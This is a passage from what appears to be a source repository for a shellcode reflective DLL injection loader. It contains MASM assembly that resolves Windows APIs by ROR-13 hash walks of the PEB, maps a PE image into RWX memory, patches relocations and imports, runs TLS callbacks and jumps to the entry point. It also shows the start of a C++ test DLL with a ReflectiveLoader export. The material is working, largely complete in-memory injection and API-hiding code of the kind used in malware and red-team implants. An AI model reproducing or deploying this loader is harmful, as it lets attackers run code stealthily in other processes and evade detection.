将当前字符的ASCII值(已大写化)累加到哈希值 344 | dec ecx ; 字符计数器ECX减1 345 | jnz loop_modname ; 继续循环处理下一个字符,直到ECX减至0 346 | push rdx ; 将当前模块链表节点地址压栈 347 | push r8 ; 将计算完成的哈希值压栈存储hash值 348 | 349 | ; 5.获取导出表 350 | mov rdx, [rdx+20h] ; 获取模块基址 351 | mov eax, dword ptr [rdx+3ch] ; 读取PE头的RVA 352 | add rax, rdx ; PE头VA 353 | cmp word ptr [rax+18h],20Bh ; 检查是否为PE64文件 354 | jne get_next_mod1 ; 不是就下一个模块 355 | mov eax, dword ptr [rax+88h] ; 获取导出表的RVA 356 | test rax, rax ; 检查该模块是否有导出函数 357 | jz get_next_mod1 ; 没有就下一个模块 358 | add rax, rdx ; 获取导出表的VA 359 | push rax ; 存储导出表的地址 360 | mov ecx, dword ptr [rax+18h] ; 按名称导出的函数数量 361 | mov r9d, dword ptr [rax+20h] ; 函数名称字符串地址数组的RVA 362 | add r9, rdx ; 函数名称字符串地址数组的VA 363 | 364 | ; 6.获取函数名 365 | get_next_func: 366 | test rcx, rcx ; 检查按名称导出的函数数量是否为0 367 | jz get_next_mod ; 若所有函数已处理完,跳转至下一个模块遍历 368 | dec rcx ; 函数计数器递减(从后向前遍历函数名数组) 369 | mov esi, dword ptr [r9+rcx*4] ; 从末尾往前遍历,一个函数名RVA占4字节 370 | add rsi, rdx ; 函数名RVA 371 | xor r8, r8 ; 存储接下来的函数名哈希 372 | 373 | ; 7.计算模块 hash + 函数 hash之和 374 | loop_funcname: 375 | xor rax, rax ; 清零EAX,准备处理字符 376 | lodsb ; 从rsi加载一个字节到al,rsi自增1 377 | test al, al 378 | jz end_funcname 379 | ror r8d,0dh ; 对当前哈希值(r8d)循环右移13位 380 | add r8d,eax ; 将当前字符的ASCII值(al)累加到哈希值(r8d) 381 | jmp loop_funcname ; 若字符非0,继续循环处理下一个字符 382 | 383 | end_funcname: 384 | add r8,[rsp+8] ; 将之前压栈的模块哈希值(位于栈顶+8)加到当前函数哈希 385 | cmp r8d,r10d ; r10存储目标hash 386 | jnz get_next_func 387 | 388 | ; 8.获取目标函数指针 389 | pop rax ; 获取之前存放的当前模块的导出表地址 390 | mov r9d, dword ptr [rax+24h] ; 获取序号表(AddressOfNameOrdinals)的 RVA 391 | add r9, rdx ; 序号表起始地址 392 | mov cx, [r9+2*rcx] ; 从序号表中获取目标函数的导出索引 393 | mov r9d, dword ptr [rax+1ch] ; 获取函数地址表(AddressOfFunctions)的 RVA 394 | add r9, rdx ; AddressOfFunctions数组的首地址 395 | mov eax, dword ptr [r9+4*rcx] ; 获取目标函数指针的RVA 396 | add rax, rdx ; 获取目标函数指针的地址 397 | 398 | finish: 399 | pop r8 ; 清除当前模块hash 400 | pop r8 ; 清除当前链表的位置 401 | pop r12 402 | pop rsi ; 恢复RSI 403 | pop rcx ; 恢复第一个参数 404 | pop rdx ; 恢复第二个参数 405 | pop r8 ; 恢复第三个参数 406 | pop r9 ; 恢复第四个参数 407 | pop r10 ; 将返回地址地址存储到r10中 408 | sub rsp, 20h ; 给前4个参数预留 4*8=32(20h)的影子空间 409 | push r10 ; 返回地址 410 | jmp rax ; 调用目标函数 411 | 412 | get_next_mod: 413 | pop rax ; 弹出栈中保存的导出表地址 414 | get_next_mod1: 415 | pop r8 ; 弹出之前压栈的计算出来的模块哈希值 416 | pop rdx ; 弹出之前存储在当前模块在链表中的位置 417 | mov rdx, [rdx] ; 获取链表的下一个模块节点(FLINK) 418 | jmp next_mod ; 跳转回模块遍历循环 419 | 420 | GetProcAddressByHash endp 421 | 422 | end -------------------------------------------------------------------------------- /SRDI Asm/RDI_post.asm: -------------------------------------------------------------------------------- 1 | ;---------------------------------------------------------------------------------- 2 | ; Author: oneday 3 | ; Language: MASM 4 | ; Details: post-style RDI shellcode 5 | ;---------------------------------------------------------------------------------- 6 | 7 | .code 8 | 9 | main proc 10 | 11 | ;------------------------------------------------------------------- 12 | ; 保存非易失性寄存器 13 | ;------------------------------------------------------------------- 14 | cld 15 | 16 | push rbx 17 | push rbp 18 | push rsi 19 | push rdi 20 | push r12 21 | push r13 22 | push r14 23 | push r15 24 | 25 | ; [rbp+8] = 旧DOS头地址(基址) 26 | ; [rbp+16] = 新DOS头地址(基址) 27 | ; [rbp+24] = 新PE头地址 28 | mov rbp,rsp 29 | sub rsp,32 30 | mov [rbp+8],rcx 31 | 32 | ;------------------------------------------------------------------- 33 | ; [rbp+8] = 旧DOS头地址(基址) 34 | ; [rbp+16] = 新DOS头地址(基址) 35 | ; [rbp+24] = 新NT头地址 36 | ; LoadPEIntoMemory64 37 | ;------------------------------------------------------------------- 38 | ; 获取 SizeOfImage 39 | mov rax, [rbp+8] ; 旧DOS头地址 40 | mov r12d, dword ptr [rax+3Ch] ; PE头RVA(原文件) 41 | add r12, rax ; r12 = 原内存中的NT头地址 42 | mov edx, dword ptr [r12+50h] ; SizeOfImage(64位) 43 | 44 | ; 调用 VirtualAlloc 分配内存 45 | xor rcx, rcx ; lpAddress = NULL 46 | ; rdx = SizeOfImage 47 | mov r8d, 1000h ; MEM_COMMIT 48 | mov r9d, 40h ; PAGE_EXECUTE_READWRITE 49 | mov r10, 0FBFA86AFh ; VirtualAlloc哈希 50 | call GetProcAddressByHash 51 | add rsp,32 ; 清理影子空间 52 | mov qword ptr [rbp+16], rax ; 保存新基址到[rbp+16] 53 | 54 | ; 复制NT头 55 | mov ecx, dword ptr [r12+54h] ; SizeOfHeaders 56 | mov rsi, [rbp+8] ; 旧DOS头地址 57 | mov rdi, rax ; 新基址 58 | rep movsb 59 | 60 | ; 重定向NT头地址 61 | mov r12d, dword ptr [rax+3ch] ; 获取pe头RVA 62 | add r12, rax ; r12=新NT头地址 63 | mov [rbp+24],r12 ; 新NT地址存储在[rbp+24] 64 | 65 | ; 遍历节表 66 | movzx eax, word ptr [r12+14h] ; SizeOfOptionalHeader 67 | lea r14, [r12+rax+18h] ; 节表起始地址 68 | movzx r13d, word ptr [r12+6] ; 节区数量 69 | 70 | next_section: 71 | cmp dword ptr [r14+10h], 0 ; SizeOfRawData 72 | je get_next_section ; SizeOfRawData为0,则复制下一个节 73 | 74 | copy_section_data: 75 | mov esi, [r14+14h] ; PointerToRawData 76 | add rsi, [rbp+8] ; 源地址 77 | mov edi, [r14+0Ch] ; VirtualAddress 78 | add rdi, [rbp+16] ; 目标地址 79 | mov ecx, [r14+10h] ; SizeOfRawData 80 | rep movsb 81 | 82 | get_next_section: 83 | add r14, 28h ; 一个节头28h 84 | dec r13d ; 计数器减1 85 | jnz next_section ; 如果计数器减为0,则结束 86 | 87 | ;------------------------------------------------------------------- 88 | ; [rbp+8] = 旧DOS头地址(基址) 89 | ; [rbp+16] = 新DOS头地址(基址) 90 | ; [rbp+24] = 新NT头地址 91 | ; FixRelocations 92 | ;------------------------------------------------------------------- 93 | ; 获取 Delta = NewBase - OldBase 94 | mov rax,[rbp+24] ; PE头地址 95 | mov rbx,[rbp+16] ; NewBase 96 | sub rbx,[rax+30h] ; OldBase (ImageBase) 97 | push rbx ; 保存 Delta 98 | 99 | ; 定位重定位目录 (DataDirectory[5])和重定位表 100 | lea rdx, [rax + 88h + 5*8] ; 重定位目录 101 | mov edx, dword ptr [rdx] ; RVA of Reloc Table 102 | add rdx, [rbp+16] ; 转换为实际地址: NewBase + RVA, rdx = 重定位表入口点 103 | 104 | next_block: 105 | mov eax, dword ptr [rdx] ; VirtualAddress 106 | test eax,eax ; 如果重定位块的VirtualAddress 107 | jz reloc_done 108 | mov ecx, dword ptr [rdx+4] ; SizeOfBlock 109 | lea rsi, [rdx + 8] ; 条目数据起始地址 = rdx + 8 110 | add rcx,rdx ; 边界值 111 | next_entry: 112 | movzx eax, word ptr [rsi] ; 读取条目 113 | mov ebx, eax 114 | shr ebx, 12 ; 类型 (高4位) 115 | cmp bx, 0Ah ; IMAGE_REL_BASED_DIR64 116 | jne get_next_entry 117 | 118 | ; 计算目标地址: NewBase + VirtualAddress + Offset 119 | and eax, 0FFFh ; Offset (低12位) 120 | add eax, dword ptr [rdx] ; VirtualAddress (当前块) 121 | add rax, [rbp+16] ; NewBase 122 | 123 | ; 修正地址 124 | mov rbx, [rax] ; 读取原值 125 | add rbx, [rsp] ; 修正后的值 = 原值 + 获取栈上的Delta 126 | mov [rax], rbx ; 修正后的值填入原处 127 | 128 | get_next_entry: 129 | add rsi, 2 ; 没有到边界,就移动到下一个重定位项,一个重定位项占16位 130 | cmp rcx,rsi ; 判断是否到达了边界值 131 | je get_next_block ; 如果到了边界值就下一个重定位块 132 | jmp next_entry 133 | 134 | get_next_block: 135 | mov eax, dword ptr [rdx+4] ; 获取当前块大小 136 | add rdx, rax ; 移动到下一重定位块 137 | jmp next_block 138 | 139 | reloc_done: 140 | pop rbx ; clear Delta 141 | 142 | ;------------------------------------------------------------------- 143 | ; [rbp+8] = 旧DOS头地址(基址) 144 | ; [rbp+16] = 新DOS头地址(基址) 145 | ; [rbp+24] = 新NT头地址 146 | ; ParseImportTable 147 | ;------------------------------------------------------------------- 148 | 149 | ; 获取导入目录 150 | mov rax,[rbp+24] ; 获取NT头地址 151 | mov eax,dword ptr [rax + 8 + 88h] ; 获取导入表RVA 152 | mov r12,qword ptr [rbp+16] ; 获取基址 153 | add r12,rax ; r12 = 获取导入表的VA 154 | 155 | ; 解析单个DLL的导入函数 156 | next_dll: 157 | cmp dword ptr [r12], 0 ; 判断导入描述符是否结束(全零) 158 | je loop_dll_end 159 | 160 | ; 处理当前DLL的导入项 161 | mov ecx, dword ptr [r12 + 0ch] ; DLLname RVA 162 | add rcx,[rbp + 16] ; DLLname VA 可以动态调式看看 163 | mov r10,56590AE9h ; kernel32.dll+LoadLibraryA的哈希值 164 | call GetProcAddressByHash ; 获取模块 165 | add rsp,32 ; 清除影子空间 166 | xchg rbx,rax ; rbx = 加载dll的模块基址 167 | 168 | mov esi,dword ptr [r12] ; INT RVA 169 | add rsi,qword ptr [rbp+16] ; INT VA 170 | mov edi,dword ptr [r12+16] ; IAT RVA 171 | add rdi,qword ptr [rbp+16] ; IAT VA 172 | 173 | next_thunk: 174 | cmp dword ptr [rsi], 0 ; 检查当前导入名称表(INT)条目是否为0 175 | je get_next_dll ; 全零表示结束 176 | 177 | mov rax,qword ptr [rsi] ; 获取INT条目值 178 | mov rdx,rax ; 保存 179 | test rax,rax ; 判断是按名称导入还是按序号导入 180 | js import_by_ordinal ; SF=1,名称导入 181 | 182 | ; 按名称导入 183 | import_by_Name: 184 | mov rcx,rbx ; hModule 185 | add rdx,qword ptr [rbp + 16] ; 获取IMAGE_IMPORT_BY_NAME结构体 186 | add rdx,2 ; 跳过Hint字段 187 | mov r10,0E658B905h ; kernel32.dll+GetProcAddress hash 188 | call GetProcAddressByHash 189 | jmp get_next_thunk 190 | 191 | ; 按序号导入 192 | import_by_ordinal: 193 | and rdx, 0FFFFh ; 获取序号 194 | mov rcx,rbx ; hModule 195 | mov r10,0E658B905h ; kernel32.dll+GetProcAddress hash 196 | call GetProcAddressByHash 197 | 198 | get_next_thunk: 199 | add rsp,32 ; 恢复到调用前的状态 200 | mov [rdi],rax ; 函数地址填入到IAT相应的位置 201 | add rsi,8 ; 移动到下一个INT条目 202 | add rdi,8 ; 移动到下一个IAT条目 203 | jmp next_thunk 204 | 205 | get_next_dll: 206 | add r12,14h ; 一个descriptor的大小为14h 207 | jmp next_dll ; 处理下一个descriptor 208 | 209 | loop_dll_end: ; 执行后续代码 210 | 211 | ;------------------------------------------------------------------- 212 | ; [rbp+8] = 旧DOS头地址(基址) 213 | ; [rbp+16] = 新DOS头地址(基址) 214 | ; [rbp+24] = 新NT头地址 215 | ; AdjustMemProtect 216 | ;------------------------------------------------------------------- 217 | 218 | ; 获取节表信息 219 | mov rbx,[rbp+24] 220 | movzx eax,word ptr [rbx+14h] ; FileHeader.SizeOfOptionalHeader 221 | lea r12,[rbx+rax+18h] ; r12 = pSectionHeader 222 | movzx r13d,word ptr [rbx+6] ; SectionNumber 223 | 224 | next_section1: 225 | ; 在这里修复各节属性 226 | mov eax,dword ptr [r12+24h] ; Characteristics 227 | and eax,0E0000000h ; 只保留29、30、31位(MEM_WRITE/MEM_READ/MEM_EXECUTE),其余位清零 228 | shr eax,29 ; 右移29位 229 | 230 | call Get_Protect 231 | 232 | ; 内存保护常量表(字节数组) 233 | ProtectionTable: 234 | db 01h ; [0] PAGE_NOACCESS 235 | db 10h ; [1] PAGE_EXECUTE 236 | db 02h ; [2] PAGE_READONLY 237 | db 20h ; [3] PAGE_EXECUTE_READ 238 | db 08h ; [4] PAGE_WRITECOPY 239 | db 80h ; [5] PAGE_EXECUTE_WRITECOPY 240 | db 04h ; [6] PAGE_READWRITE 241 | db 40h ; [7] PAGE_EXECUTE_READWRITE 242 | 243 | Get_Protect: 244 | pop rsi 245 | movzx r8d, byte ptr [rsi + rax] 246 | 247 | SetMemProtect: 248 | mov ecx,dword ptr [r12 + 0Ch] 249 | add rcx,[rbp+16] ; lpAddress = 节的起始地址 250 | mov edx,[r12 + 10h] ; dwSize = 节的大小 251 | sub rsp,8 252 | ; flNewProtect 253 | mov r9,rsp ; lpflOldProtect 254 | mov r10,0E3918276h ; kernel32 + VirtualProtect hash 255 | call GetProcAddressByHash 256 | add rsp,40 ; 清除32字节影子空间+8字节的lpflOldProtect 257 | 258 | get_next_section1: 259 | add r12, 28h ; 下一个节头,一个节头28h字节 260 | dec r13d ; 节头数减一 261 | test r13d,r13d ; 检查是否为0 262 | jnz next_section1 ; 如果节头数为0,则结束循环 263 | 264 | ;------------------------------------------------------------------- 265 | ; [rbp+8] = 旧DOS头地址(基址) 266 | ; [rbp+16] = 新DOS头地址(基址) 267 | ; [rbp+24] = 新NT头地址 268 | ; ExecuteTLSCallbacks 269 | ;------------------------------------------------------------------- 270 | 271 | mov rax,[rbp+24] ; 新NT头 272 | lea rax,[rax + 88h + 72] ; TLS 数据目录项地址 273 | 274 | ; 检查TLS目录大小 275 | cmp dword ptr [rax+4],0 ; 比较 TLS 目录大小字段 276 | je entry ; 如果大小为0,跳转到入口点 (无TLS回调) 277 | 278 | ; 获取TLS目录VA (tlsDir) 279 | mov edx,dword ptr [rax] ; TLS目录的RVA 280 | add rdx,[rbp+16] ; TLS目录的VA 281 | 282 | ; 获取回调函数数组 (callback) 283 | mov rdi,[rdx+3*8] ; 回调函数数组的首地址AddressOfCallBacks 284 | 285 | next_tlscallback: 286 | cmp qword ptr [rdi],0 ; 检查当前回调函数指针是否为NULL 287 | je entry ; 若为NULL(数组结束),跳转到入口点 288 | 289 | mov rax,[rdi] ; 当前回调函数的地址 290 | mov rcx,[rbp+16] ; 参数1: 模块基址 291 | mov edx,1 ; 参数2: DLL_PROCESS_ATTACH (值=1) 292 | xor r8d,r8d ; R8 = 参数3: NULL 293 | call rax ; 调用TLS回调函数 294 | 295 | get_next_tlscallback: 296 | add rdi,8 ; 移动到下一个函数指针 297 | jmp next_tlscallback ; 继续循环 298 | 299 | 300 | ;------------------------------------------------------------------- 301 | ; 根据EXE或DLL相应的特征调用入口点 302 | ; GoToEntry 303 | ;------------------------------------------------------------------- 304 | entry: 305 | mov rsi, [rbp+24] ; 获取PE头地址 306 | mov ax, word ptr [rsi+16h] ; 读取Characteristics字段 307 | test ax, 2000h ; 检查是否为DLL (0x2000) 308 | jz is_exe ; 非DLL则跳转EXE处理 309 | 310 | sub rsp,32 311 | mov ebx,dword ptr [rsi + 28h] ; 调用DLL入口点 RVA 312 | add rbx,[rbp+16] ; 调用DLL入口点 VA 313 | mov rcx,[rbp+16] 314 | mov rdx,1 315 | xor r8d,r8d 316 | call rbx 317 | 318 | add rsp,32 319 | jmp restore 320 | 321 | is_exe: 322 | mov ebx,dword ptr [rsi + 28h] ; 调用EXE入口点 RVA 323 | add rbx,[rbp+16] ; 调用EXE入口点 VA 324 | call rbx 325 | 326 | ;------------------------------------------------------------------- 327 | ; 恢复到调用ReflectiveLoader之前的栈空间和寄存器状态 328 | ;------------------------------------------------------------------- 329 | restore: 330 | add rsp,32 331 | pop r15 332 | pop r14 333 | pop r13 334 | pop r12 335 | pop rdi 336 | pop rsi 337 | pop rbp 338 | pop rbx 339 | ret 340 | main endp 341 | 342 | GetProcAddressByHash proc 343 | 344 | 345 | ; 1. 保存前4个参数到栈上,并保存rsi和r12的值 346 | push r9 347 | push r8 348 | push rdx 349 | push rcx 350 | push rsi 351 | push r12 352 | 353 | ; 2. 获取 InMemoryOrderModuleList 模块链表的第一个模块结点 354 | xor rdx,rdx ; 清零 355 | mov rdx,gs:[rdx+60h] ; 通过GS段寄存器获取PEB地址(TEB偏移0x60处) 356 | mov rdx,[rdx+18h] ; PEB->Ldr 357 | mov rdx,[rdx+20h] ; 第一个模块节点,也是链表InMemoryOrderModuleList的首地址 358 | 359 | ;3.模块遍历 360 | next_mod: 361 | mov rsi,[rdx+50h] ; 模块名称 362 | movzx rcx,word ptr [rdx+48h] ; 模块名称长度 363 | xor r8,r8 ; 存储接下来要计算的hash 364 | 365 | ; 4.计算模块hash 366 | loop_modname: 367 | xor rax, rax ; 清零EAX,准备处理字符 368 | lodsb ; 从rSI加载一个字节到AL(自动递增rSI) 369 | cmp al,'a' ; 比较当前字符的ASCII值是否小于小写字母'a'(0x61) 370 | jl not_lowercase ; 如果字符 < 'a',说明不是小写字母,跳转不处理 371 | sub al, 20h ; 若字符在'a'-'z'范围内,通过减0x20转换为大写字母('A'-'Z') 372 | not_lowercase: 373 | ror r8d,0dh ; 对R8的低32位进行循环右移13位,不影响高32位 374 | add r8d,eax ; 将当前字符的ASCII值(已大写化)累加到哈希值 375 | dec ecx ; 字符计数器ECX减1 376 | jnz loop_modname ; 继续循环处理下一个字符,直到ECX减至0 377 | push rdx ; 将当前模块链表节点地址压栈 378 | push r8 ; 将计算完成的哈希值压栈存储hash值 379 | 380 | ; 5.获取导出表 381 | mov rdx, [rdx+20h] ; 获取模块基址 382 | mov eax, dword ptr [rdx+3ch] ; 读取PE头的RVA 383 | add rax, rdx ; PE头VA 384 | cmp word ptr [rax+18h],20Bh ; 检查是否为PE64文件 385 | jne get_next_mod1 ; 不是就下一个模块 386 | mov eax, dword ptr [rax+88h] ; 获取导出表的RVA 387 | test rax, rax ; 检查该模块是否有导出函数 388 | jz get_next_mod1 ; 没有就下一个模块 389 | add rax, rdx ; 获取导出表的VA 390 | push rax ; 存储导出表的地址 391 | mov ecx, dword ptr [rax+18h] ; 按名称导出的函数数量 392 | mov r9d, dword ptr [rax+20h] ; 函数名称字符串地址数组的RVA 393 | add r9, rdx ; 函数名称字符串地址数组的VA 394 | 395 | ; 6.获取函数名 396 | get_next_func: 397 | test rcx, rcx ; 检查按名称导出的函数数量是否为0 398 | jz get_next_mod ; 若所有函数已处理完,跳转至下一个模块遍历 399 | dec rcx ; 函数计数器递减(从后向前遍历函数名数组) 400 | mov esi, dword ptr [r9+rcx*4] ; 从末尾往前遍历,一个函数名RVA占4字节 401 | add rsi, rdx ; 函数名RVA 402 | xor r8, r8 ; 存储接下来的函数名哈希 403 | 404 | ; 7.计算模块 hash + 函数 hash之和 405 | loop_funcname: 406 | xor rax, rax ; 清零EAX,准备处理字符 407 | lodsb ; 从rsi加载一个字节到al,rsi自增1 408 | test al, al 409 | jz end_funcname 410 | ror r8d,0dh ; 对当前哈希值(r8d)循环右移13位 411 | add r8d,eax ; 将当前字符的ASCII值(al)累加到哈希值(r8d) 412 | jmp loop_funcname ; 若字符非0,继续循环处理下一个字符 413 | 414 | end_funcname: 415 | add r8,[rsp+8] ; 将之前压栈的模块哈希值(位于栈顶+8)加到当前函数哈希 416 | cmp r8d,r10d ; r10存储目标hash 417 | jnz get_next_func 418 | 419 | ; 8.获取目标函数指针 420 | pop rax ; 获取之前存放的当前模块的导出表地址 421 | mov r9d, dword ptr [rax+24h] ; 获取序号表(AddressOfNameOrdinals)的 RVA 422 | add r9, rdx ; 序号表起始地址 423 | mov cx, [r9+2*rcx] ; 从序号表中获取目标函数的导出索引 424 | mov r9d, dword ptr [rax+1ch] ; 获取函数地址表(AddressOfFunctions)的 RVA 425 | add r9, rdx ; AddressOfFunctions数组的首地址 426 | mov eax, dword ptr [r9+4*rcx] ; 获取目标函数指针的RVA 427 | add rax, rdx ; 获取目标函数指针的地址 428 | 429 | finish: 430 | pop r8 ; 清除当前模块hash 431 | pop r8 ; 清除当前链表的位置 432 | pop r12 433 | pop rsi ; 恢复RSI 434 | pop rcx ; 恢复第一个参数 435 | pop rdx ; 恢复第二个参数 436 | pop r8 ; 恢复第三个参数 437 | pop r9 ; 恢复第四个参数 438 | pop r10 ; 将返回地址地址存储到r10中 439 | sub rsp, 20h ; 给前4个参数预留 4*8=32(20h)的影子空间 440 | push r10 ; 返回地址 441 | jmp rax ; 调用目标函数 442 | 443 | get_next_mod: 444 | pop rax ; 弹出栈中保存的导出表地址 445 | get_next_mod1: 446 | pop r8 ; 弹出之前压栈的计算出来的模块哈希值 447 | pop rdx ; 弹出之前存储在当前模块在链表中的位置 448 | mov rdx, [rdx] ; 获取链表的下一个模块节点(FLINK) 449 | jmp next_mod ; 跳转回模块遍历循环 450 | 451 | GetProcAddressByHash endp 452 | 453 | end -------------------------------------------------------------------------------- /Test/ReflectiveDLL.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : 定义 DLL 应用程序的入口点。 2 | #include 3 | #include 4 | #include 5 | typedef struct 6 | { 7 | WORD offset : 12; 8 | WORD type : 4; 9 | } IMAGE_RELOC, * PIMAGE_RELOC; 10 | 11 | #define RVA(type, base, rva) (type)((ULONG_PTR) base + rva) 12 | #define Kernel32_GetProcAddress 0xe658b905 13 | #define Kernel32_LoadLibraryA 0x56590ae9 14 | #define Kernel32_VirtualAlloc 0xfbfa86af 15 | #define Kernel32_VirtualProtect 0xe3918276 16 | #define Kernel32_GetNativeSystemInfo 0x4775dcb8 17 | 18 | static inline size_t 19 | AlignValueUp(size_t value, size_t alignment) { 20 | return (value + alignment - 1) & ~(alignment - 1); 21 | } 22 | 23 | // rot hash 算法 24 | #define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift))) 25 | 26 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 27 | { 28 | 29 | // 弹窗代码 30 | MessageBoxW(NULL, L"Hello Oneday!!!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK); 31 | 32 | char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区 33 | 34 | // 获取当前进程的可执行文件路径 35 | DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH); 36 | MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK); 37 | 38 | Sleep(99999999); 39 | 40 | return TRUE; 41 | } 42 | 43 | 44 | // 自定义LDR_DATA_TABLE_ENTRY 数据结构 45 | typedef struct _MY_LDR_DATA_TABLE_ENTRY 46 | { 47 | LIST_ENTRY InLoadOrderLinks; 48 | LIST_ENTRY InMemoryOrderLinks; 49 | LIST_ENTRY InInitializationOrderLinks; 50 | PVOID DllBase; 51 | PVOID EntryPoint; 52 | ULONG SizeOfImage; 53 | UNICODE_STRING FullDllName; 54 | UNICODE_STRING BaseDllName; 55 | } MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY; 56 | 57 | 58 | FARPROC GetApiAddressByHash(DWORD dwModuleFunctionHash) { 59 | 60 | DWORD dwModuleHash; 61 | DWORD dwFunctionHash; 62 | WORD Modulelenth; 63 | WCHAR* ModuleName; 64 | DWORD dwExportDirRVA; 65 | LPVOID lpModuleBase; 66 | PCSTR pTempChar; 67 | PIMAGE_NT_HEADERS pNtHeaders; 68 | PMY_LDR_DATA_TABLE_ENTRY pEntry; 69 | 70 | // 从获取 PEB 地址 71 | PPEB pPEB = (PPEB)__readgsqword(0x60); 72 | 73 | // 获取 PEB.Ldr 74 | PPEB_LDR_DATA pLdr = pPEB->Ldr; 75 | 76 | // 遍历模块列表 77 | PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList; //本进程 78 | PLIST_ENTRY pCurrentEntry = pListHead->Flink; // 第一个模块 79 | pEntry = (PMY_LDR_DATA_TABLE_ENTRY)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); 80 | 81 | while (pEntry->DllBase != NULL) { 82 | 83 | lpModuleBase = pEntry->DllBase; 84 | dwModuleHash = 0; 85 | Modulelenth = pEntry->BaseDllName.Length; 86 | ModuleName = pEntry->BaseDllName.Buffer; 87 | 88 | // 分析 PE 文件找到导出表 89 | pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)lpModuleBase + ((PIMAGE_DOS_HEADER)lpModuleBase)->e_lfanew); 90 | 91 | // 获取导出表RVA 92 | dwExportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 93 | 94 | // Get the next loaded module entry 95 | pEntry = (PMY_LDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink; 96 | 97 | // 如果导出表RVA为0,则跳转到下一个循环 98 | if (dwExportDirRVA == 0) { 99 | continue; 100 | } 101 | 102 | for (DWORD i = 0; i < Modulelenth; i++) { 103 | 104 | // 取字符 105 | pTempChar = ((PCSTR)ModuleName + i); 106 | dwModuleHash = ROTR32(dwModuleHash, 13); 107 | 108 | // 如果为小写字母,则转成大写字母 109 | if (*pTempChar >= 0x61) { 110 | dwModuleHash += *pTempChar - 0x20; 111 | } 112 | else { 113 | dwModuleHash += *pTempChar; 114 | } 115 | } 116 | 117 | 118 | // 获取导出表的各个信息 119 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)lpModuleBase + dwExportDirRVA); 120 | PDWORD pFunctionNames = (PDWORD)((BYTE*)lpModuleBase + pExportDirectory->AddressOfNames); 121 | PDWORD pFunctionAddresses = (PDWORD)((BYTE*)lpModuleBase + pExportDirectory->AddressOfFunctions); 122 | PWORD pFunctionOrdinals = (PWORD)((BYTE*)lpModuleBase + pExportDirectory->AddressOfNameOrdinals); 123 | 124 | for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) { 125 | 126 | dwFunctionHash = 0; 127 | PCSTR pFunctionName = (PCSTR)((BYTE*)lpModuleBase + pFunctionNames[i]); 128 | pTempChar = pFunctionName; 129 | 130 | while (*pTempChar != '\0') { 131 | dwFunctionHash = ROTR32(dwFunctionHash, 13); 132 | dwFunctionHash += *pTempChar; 133 | pTempChar++; 134 | } 135 | 136 | dwFunctionHash += dwModuleHash; 137 | if (dwFunctionHash == dwModuleFunctionHash) { 138 | return (FARPROC)((BYTE*)lpModuleBase + pFunctionAddresses[pFunctionOrdinals[i]]); 139 | } 140 | } 141 | } 142 | return NULL; 143 | } 144 | 145 | extern "C" __declspec(dllexport) BOOL ReflectiveLoader() 146 | { 147 | 148 | /*---------------------第一步:暴力搜索DLL的基址---------------------------------*/ 149 | 150 | // 获得ReflectiveLoader函数的地址,如果找到了DLL基址,则将其存储到uiLibraryAddress,pNtHeader就是NT头的地址 151 | ULONG_PTR uiLibraryAddress = (ULONG_PTR)ReflectiveLoader; 152 | ULONG_PTR uiHeaderValue = 0; 153 | PIMAGE_NT_HEADERS pNtHeader = 0; 154 | 155 | // 从ReflectiveLoader函数的地址往回退,直到找到DLL的基址 156 | while (TRUE) 157 | { 158 | // 验证是否为DOS头 159 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) 160 | { 161 | // 验证是否为NT头 162 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 163 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) 164 | { 165 | pNtHeader = (PIMAGE_NT_HEADERS)(uiHeaderValue + uiLibraryAddress); 166 | if (pNtHeader->Signature == IMAGE_NT_SIGNATURE) 167 | break; 168 | } 169 | } 170 | uiLibraryAddress--; 171 | } 172 | 173 | if (!uiLibraryAddress) 174 | return FALSE; 175 | 176 | PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)uiLibraryAddress; 177 | /*---------------------第二步:获取所需要的Windows API---------------------------*/ 178 | 179 | // 定义API指针类型 180 | typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE hModule, LPCSTR lpProcName); 181 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR lpLibFileName); 182 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 183 | typedef BOOL(WINAPI* VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 184 | typedef void (WINAPI* GETNATIVESYSTEMINFO)(LPSYSTEM_INFO lpSystemInfo); 185 | 186 | // 声明API指针变量 187 | GETPROCADDR pGetProcAddress = NULL; 188 | LOADLIBRARYA pLoadLibraryA = NULL; 189 | VIRTUALALLOC pVirtualAlloc = NULL; 190 | VIRTUALPROTECT pVirtualProtect = NULL; 191 | GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL; 192 | 193 | // 获取API的地址,将其存储在API指针变量中 194 | pGetProcAddress = (GETPROCADDR)GetApiAddressByHash(Kernel32_GetProcAddress); 195 | pLoadLibraryA = (LOADLIBRARYA)GetApiAddressByHash(Kernel32_LoadLibraryA); 196 | pVirtualAlloc = (VIRTUALALLOC)GetApiAddressByHash(Kernel32_VirtualAlloc); 197 | pVirtualProtect = 